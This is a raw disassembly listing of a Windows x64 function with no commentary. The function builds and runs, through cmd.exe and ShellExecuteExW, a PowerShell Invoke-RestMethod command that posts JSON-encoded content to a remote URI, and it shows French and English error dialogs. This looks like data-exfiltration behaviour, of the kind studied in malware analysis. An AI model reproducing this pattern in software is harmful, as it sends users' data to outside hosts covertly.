mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x14003351c]
lea rcx, [rsp + 0x58]
call fcn.140027300
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm6
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14001b9b8
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b9b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b9b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14001ba0b
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ba06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ba06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001ba5c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ba57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ba57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r12
lea rax, [rbp + 0x270]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x14001baa3
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x160]
call fcn.14002a0b0
nop
lea rcx, [rbp + 0x160]
mov rax, qword [rbp + 0x170]
cmp qword [rbp + 0x178], 7
jbe 0x14001bae7
mov rdx, qword [rbp + 0x160]
lea r9, [rdx + rax*2]
jmp 0x14001baf2
lea r9, [rcx + rax*2]
lea rdx, [rbp + 0x160]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
cmp rdx, r9
jne 0x14001bb2c
mov qword [rbp + 0xb0], r12
mov r15d, 0xf
mov qword [rbp + 0xb8], r15
mov byte [rbp + 0xa0], 0
jmp 0x14001bb45
sub r9, rdx
sar r9, 1
lea rcx, [rbp + 0xa0]
call fcn.14002b440
mov r15, qword [rbp + 0xb8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r13, xmm6
sub rax, r13
cmp rax, 0x2a
jb 0x14001c2a8
lea rdx, [rbp + 0xc0]
psrldq xmm6, 8
movq rax, xmm6
mov qword [rbp + 0x40], rax
cmp rax, 0xf
seta byte [rsp + 0x30]
movq r14, xmm7
cmova rdx, r14
mov qword [rbp - 8], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea r12, [r13 + 0x2a]
mov edi, 0xf
lea rbx, [rbp + 0x20]
cmp r12, rdi
jbe 0x14001bc38
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x14001bbf0
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14002dd78
test rax, rax
je 0x14001bc18
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rdx, qword [rbp - 8]
jmp 0x14001bc34
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001bc1f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001c2b4
jmp 0x14001bbd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14001bc32
call fcn.14002dd78
mov rbx, rax
mov rdx, qword [rbp - 8]
jmp 0x14001bc34
xor ebx, ebx
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], rdi
movups xmm0, xmmword [str.powershell__Command___body___content__]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140033680]
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [0x140033690]
movsd qword [rbx + 0x20], xmm0
movzx eax, word [0x140033698]
mov word [rbx + 0x28], ax
lea rcx, [rbx + 0x2a]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r12], 0
mov r8d, 0x2d
lea rdx, str.__ConvertTo_Json__Invoke_RestMethod__Uri_
lea rcx, [rbp + 0x20]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor r12d, r12d
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rax, [rbp + 0x180]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14001bcd0
mov r8, rsi
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x38]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x3b
lea rdx, str.__Method_Post__Body__body__ContentType_application_json_
lea rcx, [rsp + 0x58]
call fcn.140027300
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14001bda3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bd9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bd9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14001bdf6
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bdf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bdf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14001be47
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001be42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001be42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
lea rcx, [rbp]
mov r8, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 0xf
jbe 0x14001be6f
mov rdx, qword [rbp]
add r8, rdx
jmp 0x14001be76
add r8, rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x220]
call fcn.1400291b0
nop
lea r8, [rbp + 0x220]
lea rdx, [0x1400336a0]
lea rcx, [rbp + 0x60]
call fcn.140028d10
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x80], WSACleanup
mov dword [rbp - 0x7c], 0x40
mov qword [rbp - 0x78], r12
lea rax, str.open
mov qword [rbp - 0x70], rax
lea rax, str.cmd.exe
mov qword [rbp - 0x68], rax
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rax, qword [rbp + 0x60]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], r12
mov dword [rbp - 0x50], r12d
mov qword [rbp - 0x48], r12
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x14001bf65
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bf60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bf60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r12w
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x14001bfc0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bfba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bfba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14001bffe
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bff9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bff9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
cmp r15, 0xf
jbe 0x14001c04d
lea rdx, [r15 + 1]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c047
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c047
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x14001c096
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c091
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c091
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], r12w
cmp byte [rsp + 0x30], 0
je 0x14001c0ef
mov rdx, qword [rbp + 0x40]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14001c0e6
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c0e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14002dd70
nop
mov rdx, qword [rbp + 0x260]
cmp rdx, 0xf
jbe 0x14001c152
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c12e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c12e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
jmp 0x14001c152
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.You_are_not_connected_to_the_Internet._Please_check_your_connection.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14001c196
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c191
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14001c1f3
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c1ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c1ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14001c26e
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c24b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c24b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
jmp 0x14001c26e
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.Failed_APP_file_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.14002dd50
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001c30
nop
call fcn.140001b90
nop
call fcn.140001b90
nop
call fcn.140001c30
int3